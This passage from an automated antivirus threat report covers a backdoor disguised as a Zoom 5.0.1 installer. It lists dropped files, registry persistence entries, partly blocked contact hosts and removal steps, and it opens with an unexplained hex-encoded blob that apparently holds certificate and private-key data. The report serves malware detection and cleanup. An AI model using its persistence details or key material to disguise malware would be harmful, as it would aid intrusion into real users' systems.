5556b344d554a554e45567965464a545744685061574a465669396a4c304e7863474a3257485a71647a4a7065576c4964334a755957567957553173596a6846646c634b5154685a5757355461334654576d4a4e656d70575655645555473149563356454d6b643054475a365630743161545235555770784e445646625764434d584a3253314a51646c5a49596c70734d6b5a56513070495a6770344e33564f5a6d4e544c31465553326c4e6448553165584a73566d49354f57466a5a5570535a46465a6332597a4e6d6f7652546c544b3038304d334654546e64534d564972566b4e4a56337057516e705357564e33436a4e4553457442535373356154646d59544d79536b784f52544e7164326c68625846424f4452534f474977523273354b793968646c6c76595442724c3064554e6d70565257705a614768344d4868434f5449725a456f4b5758466e633046594f574a45646e4d775a58647163304645596c6b785332524c517a6c7059585a4962304659636c513452324a73654777314f484a5665565a50616a4a74555863765a584e355a56644256566f336477707555556c4551564642516b31424d4564445533464855306c694d30525252554a44643156425154524a516b4652516d464257474672645846786145464562336475526a4e345131466c56554972617a466f527a4935436d565459697478616a5a4252584a4f6547704b62573170536a646c4f5759354e58525755466b72654864334e476b794b31684b574656484d6e5a4f525552344e57786d56305652623235335a7a51345657316154566b4b556c4e595230786e526d517954576c6e61464645526e68774f46683663557451575870565657784b553235586446567357445531626b347a536e707a4e53747757467061556d314b576b5a32536e52475a5339695241707a51315657654452614f4851324f554e524e5856314d307048596b4a7054573872516b343452575a456458424d534670716157744c516c46695532526e52576434643064304e53396d636d30314c32733457473934436b4e7864585a7156445a3155555a32513064755a4459334b3231495243397a5a586778627a4e554e58645156334e4b536c42725a3170484d306c695a30467756307047566e6c704f584a5556566c71654851785555634b654531434f5451355747566f4e446c6d576a525a54445577616a4e4f656d685a656b35474e6c5934625864424c326873576d3933563239504e30673364444e6d54325935523073765132594b4c5330744c533146546b51675130565356456c4753554e42564555744c5330744c516f3d3c2f63657274696669636174653e3c707269766174655f6b65793e4c5330744c5331435255644a54694251556b6c575156524649457446575330744c533074436b314a535556325a306c4351555242546b4a6e6133466f61326c484f586377516b465252555a4251564e44516b746e6432646e553274425a3056425157394a516b4652524555305932314f52564e51517a5a745746494b4f44684f61324a746357493363564534576b553563466c564d6c6c595357703656555a515a314e32526b5a4b5a6e6332536e4e5357446c364f457478624855355a5374515247464d53306c6d5133566b63445a305a777035566e5a33557a6c5a5248686f6157524c5533424b62484e36543035575556704e4b316c6b59545251575745776443394f575845325447704b51303979616d74545955464956335534634555724f56566b64473159436c6c575
  • reg delete "HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\installer 20.0.9800.1720" /f

(Note: %User Temp% is the current user's Temp folder, which is usually C:\Documents and Settings\{user name}\Local Settings\Temp on Windows 2000(32-bit), XP, and Server 2003(32-bit), or C:\Users\{user name}\AppData\Local\Temp on Windows Vista, 7, 8, 8.1, 2008(64-bit), 2012(64-bit) and 10(64-bit).. %Application Data% is the current user's Application Data folder, which is usually C:\Documents and Settings\{user name}\Application Data on Windows 2000(32-bit), XP, and Server 2003(32-bit), or C:\Users\{user name}\AppData\Roaming on Windows Vista, 7, 8, 8.1, 2008(64-bit), 2012(64-bit) and 10(64-bit).. %System% is the Windows system folder, where it usually is C:\Windows\System32 on all Windows operating system versions.)

It creates the following folders:

  • %Application Data%\Zoom\zoom_install_src
  • %Application Data%\Zoom\bin
  • %User Temp%\Zoom Meetings\5.0.1
  • %User Temp%\7zS8C40EAE9
  • %Application Data%\Zoom
  • %User Temp%\$inst
  • %Start Menu%\Programs\Zoom
  • %User Temp%\Zoom Meetings
  • %Application Data%\Zoom\uninstall
  • %Application Data%\Zoom\logs
  • %Application Data%\Zoom\data
  • %Application Data%\Zoom\reports

(Note: %Application Data% is the current user's Application Data folder, which is usually C:\Documents and Settings\{user name}\Application Data on Windows 2000(32-bit), XP, and Server 2003(32-bit), or C:\Users\{user name}\AppData\Roaming on Windows Vista, 7, 8, 8.1, 2008(64-bit), 2012(64-bit) and 10(64-bit).. %User Temp% is the current user's Temp folder, which is usually C:\Documents and Settings\{user name}\Local Settings\Temp on Windows 2000(32-bit), XP, and Server 2003(32-bit), or C:\Users\{user name}\AppData\Local\Temp on Windows Vista, 7, 8, 8.1, 2008(64-bit), 2012(64-bit) and 10(64-bit).. %Start Menu% is the current user's Start Menu folder, which is usually C:\Windows\Start Menu or C:\Documents and Settings\{User name}\Start Menu on Windows 2000(32-bit), XP, and Server 2003(32-bit), or C:\Users\{user name}\AppData\Roaming\Microsoft\Windows\Start Menu on Windows Vista, 7, 8, 8.1, 2008(64-bit), 2012(64-bit) and 10(64-bit).)

Other System Modifications

This Backdoor deletes the following files:

  • %Application Data%\Zoom\logs\zoo1A53.tmp
  • %Application Data%\Zoom\data\zoomus.db-journal
  • %Application Data%\Zoom\logs\zooDFC3.tmp
  • %Application Data%\Zoom\logs\zoo1F90.tmp
  • %Application Data%\Zoom\data\zoomus.tmp.db-journal

(Note: %Application Data% is the current user's Application Data folder, which is usually C:\Documents and Settings\{user name}\Application Data on Windows 2000(32-bit), XP, and Server 2003(32-bit), or C:\Users\{user name}\AppData\Roaming on Windows Vista, 7, 8, 8.1, 2008(64-bit), 2012(64-bit) and 10(64-bit).)

It adds the following registry entries:

HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\
services\DNS-Service
FailureActions = "{random characters}"

HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\
services\DNS-Service\Parameters\
AppExit
(Default) = "Restart"

HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\
Microsoft\Windows\CurrentVersion\
Uninstall\Zoom Meetings 5.0.1
DisplayName = "Zoom Meetings 5.0.1"

HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\
Microsoft\Windows\CurrentVersion\
Uninstall\Zoom Meetings 5.0.1
DisplayVersion = "5.0.1"

HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\
Microsoft\Windows\CurrentVersion\
Uninstall\Zoom Meetings 5.0.1
VersionMajor = "5"

HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\
Microsoft\Windows\CurrentVersion\
Uninstall\Zoom Meetings 5.0.1
VersionMinor = "0"

HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\
Microsoft\Windows\CurrentVersion\
Uninstall\Zoom Meetings 5.0.1
Publisher = "Zoom Video Communications, Inc."

HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\
Microsoft\Windows\CurrentVersion\
Uninstall\Zoom Meetings 5.0.1
DisplayIcon = "%User Temp%\Zoom Video Communications, Inc.\Zoom Meetings\Uninstall.exe"

HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\
Microsoft\Windows\CurrentVersion\
Uninstall\Zoom Meetings 5.0.1
UninstallString = "%User Temp%\Zoom Video Communications, Inc.\Zoom Meetings\Uninstall.exe"

HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\
Microsoft\Windows\CurrentVersion\
Uninstall\Zoom Meetings 5.0.1
InstallLocation = "%User Temp%\Zoom Video Communications, Inc.\Zoom Meetings"

HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\
Microsoft\Windows\CurrentVersion\
Uninstall\Zoom Meetings 5.0.1
InstallSource = "%User Temp%"

HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\
Microsoft\Windows\CurrentVersion\
Uninstall\Zoom Meetings 5.0.1
InstallDate = "20200109"

HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\
Microsoft\Windows\CurrentVersion\
Uninstall\Zoom Meetings 5.0.1
Language = "1049"

HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\
Microsoft\Windows\CurrentVersion\
Uninstall\Zoom Meetings 5.0.1
EstimatedSize = "25026"

HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\
Microsoft\Windows\CurrentVersion\
Uninstall\Zoom Meetings 5.0.1
NoModify = "1"

HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\
Microsoft\Windows\CurrentVersion\
Uninstall\Zoom Meetings 5.0.1
NoRepair = "1"

HKEY_CURRENT_USER\Software\Microsoft\
Windows\CurrentVersion\Uninstall\
ZoomUMX
DisplayIcon = "%Application Data%\Zoom\bin\Zoom.exe"

HKEY_CURRENT_USER\Software\Microsoft\
Windows\CurrentVersion\Uninstall\
ZoomUMX
DisplayName = "Zoom"

HKEY_CURRENT_USER\Software\Microsoft\
Windows\CurrentVersion\Uninstall\
ZoomUMX
DisplayVersion = "5.0"

HKEY_CURRENT_USER\Software\Microsoft\
Windows\CurrentVersion\Uninstall\
ZoomUMX
EstimatedSize = "10000"

HKEY_CURRENT_USER\Software\Microsoft\
Windows\CurrentVersion\Uninstall\
ZoomUMX
HelpLink = "https://support.{BLOCKED}m.us/home"

HKEY_CURRENT_USER\Software\Microsoft\
Windows\CurrentVersion\Uninstall\
ZoomUMX
URLInfoAbout = "https://{BLOCKED}m.us"

HKEY_CURRENT_USER\Software\Microsoft\
Windows\CurrentVersion\Uninstall\
ZoomUMX
URLUpdateInfo = "https://{BLOCKED}m.us"

HKEY_CURRENT_USER\Software\Microsoft\
Windows\CurrentVersion\Uninstall\
ZoomUMX
Publisher = "Zoom Video Communications, Inc."

HKEY_CURRENT_USER\Software\Microsoft\
Windows\CurrentVersion\Uninstall\
ZoomUMX
UninstallString = "%Application Data%\Zoom\uninstall\Installer.exe /uninstall"

HKEY_CURRENT_USER\Software\Microsoft\
Windows\CurrentVersion\Uninstall\
ZoomUMX
InstallLocation = "%Application Data%\Zoom\bin"

HKEY_CURRENT_USER\Software\Microsoft\
Windows\CurrentVersion\Uninstall\
ZoomUMX
NoModify = "1"

HKEY_CURRENT_USER\Software\Microsoft\
Windows\CurrentVersion\Uninstall\
ZoomUMX
NoRepair = "1"

HKEY_CURRENT_USER\Software\MozillaPlugins\
@zoom.us/ZoomVideoPlugin
Version = "1"

HKEY_CURRENT_USER\Software\MozillaPlugins\
@zoom.us/ZoomVideoPlugin
Path = "%Application Data%\Zoom\bin\npzoomplugin.dll"

HKEY_CURRENT_USER\Software\MozillaPlugins\
@zoom.us/ZoomVideoPlugin
ProductName = "Zoom Video Plugin"

HKEY_CURRENT_USER\Software\MozillaPlugins\
@zoom.us/ZoomVideoPlugin
Description = "Zoom Video Plugin"

HKEY_CURRENT_USER\Software\MozillaPlugins\
@zoom.us/ZoomVideoPlugin
Vendor = "Zoom Video Communications, Inc."

HKEY_CURRENT_USER\Software\Classes\
.zoommtg
(Default) = "ZoomLauncher"

HKEY_CURRENT_USER\Software\Classes\
.zoommtg
Content Type = "application/x-zoommtg-launcher"

HKEY_CURRENT_USER\Software\Classes\
ZoomLauncher
(Default) = "Zoom Launcher - 3.0.1"

HKEY_CURRENT_USER\Software\Classes\
ZoomLauncher\shell\open\
command
(Default) = "%Application Data%\Zoom\bin\Zoom.exe --url=%1"

HKEY_CURRENT_USER\Software\Classes\
MIME\Database\Content Type\
application/x-zoommtg-launcher
Extension = ".zoommtg"

HKEY_CURRENT_USER\Software\Classes\
zoommtg
(Default) = "URL:Zoom Launcher"

HKEY_CURRENT_USER\Software\Classes\
zoommtg
URL Protocol = ""

HKEY_CURRENT_USER\Software\Classes\
zoommtg
UseOriginalUrlEncoding = "1"

HKEY_CURRENT_USER\Software\Classes\
zoommtg\DefaultIcon
(Default) = "%Application Data%\Zoom\bin\Zoom.exe,1"

HKEY_CURRENT_USER\Software\Classes\
zoommtg\shell\open\
command
(Default) = "%Application Data%\Zoom\bin\Zoom.exe --url=%1"

HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\
Microsoft\Windows\CurrentVersion\
explorer
GlobalAssocChangedCounter = "12"

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\
.gz
notification = "{random characters}"

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\
.gz
Security = "{random characters}"

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\
.gz
General = "{random characters}"

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\
.gz
Certificates = "{random characters}"

HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\
Microsoft\Windows\CurrentVersion\
Uninstall\installer 20.0.9800.1720
DisplayName = "installer 20.0.9800.1720"

HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\
Microsoft\Windows\CurrentVersion\
Uninstall\installer 20.0.9800.1720
DisplayVersion = "20.0.9800.1720"

HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\
Microsoft\Windows\CurrentVersion\
Uninstall\installer 20.0.9800.1720
VersionMajor = "20"

HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\
Microsoft\Windows\CurrentVersion\
Uninstall\installer 20.0.9800.1720
VersionMinor = "0"

HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\
Microsoft\Windows\CurrentVersion\
Uninstall\installer 20.0.9800.1720
Publisher = "Company Inc."

HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\
Microsoft\Windows\CurrentVersion\
Uninstall\installer 20.0.9800.1720
DisplayIcon = "%User Temp%\Company Inc.\installer\Uninstall.exe"

HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\
Microsoft\Windows\CurrentVersion\
Uninstall\installer 20.0.9800.1720
UninstallString = "%User Temp%\Company Inc.\installer\Uninstall.exe"

HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\
Microsoft\Windows\CurrentVersion\
Uninstall\installer 20.0.9800.1720
InstallLocation = "%User Temp%\Company Inc.\installer"

HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\
Microsoft\Windows\CurrentVersion\
Uninstall\installer 20.0.9800.1720
InstallSource = "%Windows%\SysWOW64\drivers"

HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\
Microsoft\Windows\CurrentVersion\
Uninstall\installer 20.0.9800.1720
InstallDate = "20200109"

HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\
Microsoft\Windows\CurrentVersion\
Uninstall\installer 20.0.9800.1720
Language = "1049"

HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\
Microsoft\Windows\CurrentVersion\
Uninstall\installer 20.0.9800.1720
EstimatedSize = "1"

HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\
Microsoft\Windows\CurrentVersion\
Uninstall\installer 20.0.9800.1720
NoModify = "1"

HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\
Microsoft\Windows\CurrentVersion\
Uninstall\installer 20.0.9800.1720
NoRepair = "1"

HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\
Microsoft\Windows\CurrentVersion\
explorer
GlobalAssocChangedCounter = "13"

HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\
Microsoft\Windows\CurrentVersion\
explorer
GlobalAssocChangedCounter = "14"

Dropping Routine

This Backdoor drops the following files:

  • %Application Data%\Zoom\bin\util.dll
  • %Application Data%\Zoom\zoom_install_src\mcm.dll
  • %Application Data%\Zoom\bin\record_stop.pcm
  • %Application Data%\Zoom\zoom_install_src\leave.pcm
  • %Application Data%\Zoom\bin\leave.pcm
  • %Application Data%\Zoom\uninstall\Installer.exe
  • %Application Data%\Zoom\bin\zCrashReport.exe
  • %Application Data%\Zoom\zoom_install_src\asproxy.dll
  • %Application Data%\Zoom\bin\zTscoder.exe
  • %User Temp%\7zS8C40EAE9\Zoom.msi
  • %System%\drivers\libeay32.dll
  • %Application Data%\Zoom\zoom_install_src\zcacert.pem
  • %Application Data%\Zoom\data\zoomus.tmp.db
  • %Application Data%\Zoom\zoom_install_src\npzoomplugin.dll
  • %Application Data%\Zoom\bin\Zoom.exe
  • %Application Data%\Zoom\zoom_install_src\ring.pcm
  • %Application Data%\Zoom\bin\asproxy.dll
  • %System%\drivers\install.exe
  • %Application Data%\Zoom\zoom_install_src\zCrashReport.exe
  • %Application Data%\Zoom\zoom_install_src\reslib.dll
  • %Application Data%\Zoom\bin\record_start.pcm
  • %Application Data%\Zoom\zoom_install_src\dingdong1.pcm
  • %Application Data%\Zoom\bin\msaalib.dll
  • %Application Data%\Zoom\bin\zWebService.dll
  • %Application Data%\Zoom\bin\zcacert.pem
  • %Application Data%\Zoom\zoom_install_src\zChatUI.dll
  • %Application Data%\Zoom\bin\dingdong1.pcm
  • %Application Data%\Zoom\bin\turbojpeg.dll
  • %Application Data%\Zoom\zoom_install_src\zVideoUI.dll
  • %Application Data%\Zoom\zoom_install_src\zzhost.dll
  • %Application Data%\Zoom\bin\aomagent.dll
  • %Application Data%\Zoom\bin\meeting_raisehand_chime.pcm
  • %Application Data%\Zoom\bin\CptInstall.exe
  • %Application Data%\Zoom\zoom_install_src\zChatApp.dll
  • %Application Data%\Zoom\bin\Droplet.pcm
  • %Application Data%\Zoom\zoom_install_src\XmppDll.dll
  • %Application Data%\Zoom\bin\reslib.dll
  • %Application Data%\Zoom\bin\dingdong.pcm
  • %Start Menu%\Programs\Zoom\Start Zoom.lnk
  • %Application Data%\Zoom\installer.txt
  • %Application Data%\Zoom\zoom_install_src\tp.dll
  • %Start Menu%\Programs\Zoom\Uninstall Zoom.lnk
  • %Application Data%\Zoom\zoom_install_src\record_start.pcm
  • %Application Data%\Zoom\bin\CptService.exe
  • %Application Data%\Zoom\bin\zzhost.dll
  • %Application Data%\Zoom\bin\CmmBrowserEngine.dll
  • %Application Data%\Zoom\bin\XmppDll.dll
  • %Application Data%\Zoom\zoom_install_src\msaalib.dll
  • %Application Data%\Zoom\zoom_install_src\DuiLib.dll
  • %Application Data%\Zoom\zoom_install_src\nanosvg_LICENSE.txt
  • %Application Data%\Zoom\bin\zCrashReport.dll
  • %Application Data%\Zoom\zoom_install_src\meeting_chat_chime.pcm
  • %Application Data%\Zoom\zoom_install_src\CptControl.exe
  • %Application Data%\Zoom\bin\zChatApp.dll
  • %Application Data%\Zoom\zoom_install_src\libcrypto-1_1.dll
  • %Application Data%\Zoom\bin\crashrpt_lang.ini
  • %Application Data%\Zoom\zoom_install_src\zCrashReport.dll
  • %Application Data%\Zoom\bin\DuiLib.dll
  • %Application Data%\Zoom\data\Zoom.us.ini
  • %Application Data%\Zoom\zoom_install_src\ZoomInstall.xml
  • %User Temp%\Zoom Meetings\5.0.1\setup.exe
  • %User Temp%\101.ico
  • %Application Data%\Zoom\zoom_install_src\zVideoApp.dll
  • %Application Data%\Zoom\bin\CptShare.dll
  • %Application Data%\Zoom\data\client.config
  • %Application Data%\Zoom\zoom_install_src\zWebService.dll
  • %Application Data%\Zoom\zoom_install_src\CptService.exe
  • %Application Data%\Zoom\data\zoomus.db
  • %Application Data%\Zoom\bin\nanosvg_LICENSE.txt
  • %Application Data%\Zoom\bin\zAutoUpdate.dll
  • %Application Data%\Zoom\bin\libcrypto-1_1.dll
  • %Application Data%\Zoom\zoom_install_src\ssb_sdk.dll
  • %Application Data%\Zoom\zoom_install_src\libfaac.dll
  • %System%\drivers\ssleay32.dll
  • %Application Data%\Zoom\bin\viper.dll
  • %Application Data%\Zoom\bin\Cmmlib.dll
  • %Application Data%\Zoom\zoom_install_src\DllSafeCheck.dll
  • %Application Data%\Zoom\bin\npzoomplugin.dll
  • %Application Data%\Zoom\zoom_install_src\libssl-1_1.dll
  • %Application Data%\Zoom\zoom_install_src\CptHost.exe
  • %Application Data%\Zoom\bin\Zoom_launcher.exe
  • %Application Data%\Zoom\zoom_install_src\zAutoUpdate.dll
  • %Application Data%\Zoom\bin\duilib_license.txt
  • %User Temp%\CptShare.dll
  • %Application Data%\Zoom\bin\zData.dll
  • %Application Data%\Zoom\zoom_install_src\Installer.exe
  • %Application Data%\Zoom\bin\annoter.dll
  • %Application Data%\Zoom\zoom_install_src\zmb.dll
  • %Application Data%\Zoom\bin\zlt.dll
  • %Application Data%\Zoom\zoom_install_src\meeting_raisehand_chime.pcm
  • %Application Data%\Zoom\bin\zChatUI.dll
  • %Application Data%\Zoom\zoom_install_src\zlt.dll
  • %Application Data%\Zoom\bin\zWinRes.dll
  • %Application Data%\Zoom\zoom_install_src\CptShare.dll
  • %AppDataLocal%\GDIPFONTCACHEV1.DAT
  • %Application Data%\Zoom\zoom_install_src\duilib_license.txt
  • %Application Data%\Zoom\zoom_install_src\aomagent.dll
  • %Application Data%\Zoom\zoom_install_src\Zoom_launcher.exe
  • %Application Data%\Zoom\zoom_install_src\turbojpeg.dll
  • %Application Data%\Zoom\zoom_install_src\Droplet.pcm
  • %Application Data%\Zoom\bin\DllSafeCheck.dll
  • %Application Data%\Zoom\bin\ring.pcm
  • %Application Data%\Zoom\zoom_install_src\nydus.dll
  • %Application Data%\Zoom\bin\zVideoUI.dll
  • %Application Data%\Zoom\bin\nydus.dll
  • %User Temp%\Zoom Meetings\5.0.1\reg.exe
  • %Application Data%\Zoom\bin\zmb.dll
  • %Application Data%\Zoom\zoom_install_src\zWinRes.dll
  • %System%\drivers\svch\xc3\xaest.exe
  • %Application Data%\Zoom\zoom_install_src\CmmBrowserEngine.dll
  • %Application Data%\Zoom\bin\Installer.exe
  • %Application Data%\Zoom\zoom_install_src\record_stop.pcm
  • %Application Data%\Zoom\bin\ssb_sdk.dll
  • %Application Data%\Zoom\bin\libfaac.dll
  • %Application Data%\Zoom\bin\zVideoApp.dll
  • %Application Data%\Zoom\zoom_install_src\annoter.dll
  • %Application Data%\Zoom\zoom_install_src\dingdong.pcm
  • %Application Data%\Zoom\zoom_install_src\zTscoder.exe
  • %Application Data%\Zoom\bin\mcm.dll
  • %Application Data%\Zoom\bin\CptHost.exe
  • %Application Data%\Zoom\appsafecheck.txt
  • %Application Data%\Zoom\zoom_install_src\util.dll
  • %Application Data%\Zoom\zoom_install_src\zData.dll
  • %Application Data%\Zoom\zoom_install_src\Cmmlib.dll
  • %User Temp%\7zS8C40EAE9\Installer.exe
  • %Desktop%\Start Zoom.lnk
  • %Application Data%\Zoom\bin\directui_license.txt
  • %Application Data%\Zoom\zoom_install_src\directui_license.txt
  • %Application Data%\Zoom\bin\libssl-1_1.dll
  • %Application Data%\Zoom\zoom_install_src\crashrpt_lang.ini
  • %Application Data%\Zoom\zoom_install_src\viper.dll
  • %Application Data%\Zoom\zoom_install_src\CptInstall.exe
  • %Application Data%\Zoom\bin\meeting_chat_chime.pcm
  • %Application Data%\Zoom\bin\ZoomInstall.xml
  • %Application Data%\Zoom\zoom_install_src\Zoom.exe
  • %Application Data%\Zoom\bin\CptControl.exe
  • %Application Data%\Zoom\bin\tp.dll

(Note: %Application Data% is the current user's Application Data folder, which is usually C:\Documents and Settings\{user name}\Application Data on Windows 2000(32-bit), XP, and Server 2003(32-bit), or C:\Users\{user name}\AppData\Roaming on Windows Vista, 7, 8, 8.1, 2008(64-bit), 2012(64-bit) and 10(64-bit).. %User Temp% is the current user's Temp folder, which is usually C:\Documents and Settings\{user name}\Local Settings\Temp on Windows 2000(32-bit), XP, and Server 2003(32-bit), or C:\Users\{user name}\AppData\Local\Temp on Windows Vista, 7, 8, 8.1, 2008(64-bit), 2012(64-bit) and 10(64-bit).. %System% is the Windows system folder, where it usually is C:\Windows\System32 on all Windows operating system versions.. %Start Menu% is the current user's Start Menu folder, which is usually C:\Windows\Start Menu or C:\Documents and Settings\{User name}\Start Menu on Windows 2000(32-bit), XP, and Server 2003(32-bit), or C:\Users\{user name}\AppData\Roaming\Microsoft\Windows\Start Menu on Windows Vista, 7, 8, 8.1, 2008(64-bit), 2012(64-bit) and 10(64-bit).. %AppDataLocal% is the Local Application Data folder, which is usually C:\Documents and Settings\{user name}\Local Settings\Application Data on Windows 2000(32-bit), XP, and Server 2003(32-bit), or C:\Users\{user name}\AppData\Local on Windows Vista, 7, 8, 8.1, 2008(64-bit), 2012(64-bit) and 10(64-bit).. %Desktop% is the current user's desktop, which is usually C:\Documents and Settings\{User Name}\Desktop on Windows 2000(32-bit), XP, and Server 2003(32-bit), or C:\Users\{user name}\Desktop on Windows Vista, 7, 8, 8.1, 2008(64-bit), 2012(64-bit) and 10(64-bit).)

Other Details

This Backdoor connects to the following possibly malicious URL:

  • http://{BLOCKED}m.us
  • {BLOCKED}.204.20
  • {BLOCKED}5.36.14

This report is generated via an automated analysis system.

  SOLUTION

Minimum Scan Engine: 9.850

Step 1

Before doing any scans, Windows 7, Windows 8, Windows 8.1, and Windows 10 users must disable System Restore to allow full scanning of their computers.

Step 2

Identify and terminate files detected as Backdoor.Win32.ZAPIZ.THDBABO

[ Learn More ]
  1. Windows Task Manager may not display all running processes. In this case, please use a third-party process viewer, preferably Process Explorer, to terminate the malware/grayware/spyware file. You may download the said tool here.
  2. If the detected file is displayed in either Windows Task Manager or Process Explorer but you cannot delete it, restart your computer in safe mode. To do this, refer to this link for the complete steps.
  3. If the detected file is not displayed in either Windows Task Manager or Process Explorer, continue doing the next steps.

Step 3

Delete this registry value

[ Learn More ]

Important: Editing the Windows Registry incorrectly can lead to irreversible system malfunction. Please do this step only if you know how or you can ask assistance from your system administrator. Else, check this Microsoft article first before modifying your computer's registry.

  • In HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\DNS-Service
    • FailureActions = "{random characters}"
  • In HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\DNS-Service\Parameters\AppExit
    • (Default) = "Restart"
  • In HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\Zoom Meetings 5.0.1
    • DisplayName = "Zoom Meetings 5.0.1"
  • In HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\Zoom Meetings 5.0.1
    • DisplayVersion = "5.0.1"
  • In HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\Zoom Meetings 5.0.1
    • VersionMajor = "5"
  • In HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\Zoom Meetings 5.0.1
    • VersionMinor = "0"
  • In HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\Zoom Meetings 5.0.1
    • Publisher = "Zoom Video Communications, Inc."
  • In HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\Zoom Meetings 5.0.1
    • DisplayIcon = "%User Temp%\Zoom Video Communications, Inc.\Zoom Meetings\Uninstall.exe"
  • In HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\Zoom Meetings 5.0.1
    • UninstallString = "%User Temp%\Zoom Video Communications, Inc.\Zoom Meetings\Uninstall.exe"
  • In HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\Zoom Meetings 5.0.1
    • InstallLocation = "%User Temp%\Zoom Video Communications, Inc.\Zoom Meetings"
  • In HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\Zoom Meetings 5.0.1
    • InstallSource = "%User Temp%"
  • In HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\Zoom Meetings 5.0.1
    • InstallDate = "20200109"
  • In HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\Zoom Meetings 5.0.1
    • Language = "1049"
  • In HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\Zoom Meetings 5.0.1
    • EstimatedSize = "25026"
  • In HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\Zoom Meetings 5.0.1
    • NoModify = "1"
  • In HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\Zoom Meetings 5.0.1
    • NoRepair = "1"
  • In HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Uninstall\ZoomUMX
    • DisplayIcon = "%Application Data%\Zoom\bin\Zoom.exe"
  • In HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Uninstall\ZoomUMX
    • DisplayName = "Zoom"
  • In HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Uninstall\ZoomUMX
    • DisplayVersion = "5.0"
  • In HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Uninstall\ZoomUMX
    • EstimatedSize = "10000"
  • In HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Uninstall\ZoomUMX
    • HelpLink = "https://support.{BLOCKED}m.us/home"
  • In HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Uninstall\ZoomUMX
    • URLInfoAbout = "https://{BLOCKED}m.us"
  • In HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Uninstall\ZoomUMX
    • URLUpdateInfo = "https://{BLOCKED}m.us"
  • In HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Uninstall\ZoomUMX
    • Publisher = "Zoom Video Communications, Inc."
  • In HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Uninstall\ZoomUMX
    • UninstallString = "%Application Data%\Zoom\uninstall\Installer.exe /uninstall"
  • In HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Uninstall\ZoomUMX
    • InstallLocation = "%Application Data%\Zoom\bin"
  • In HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Uninstall\ZoomUMX
    • NoModify = "1"
  • In HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Uninstall\ZoomUMX
    • NoRepair = "1"
  • In HKEY_CURRENT_USER\Software\MozillaPlugins\@zoom.us/ZoomVideoPlugin
    • Version = "1"
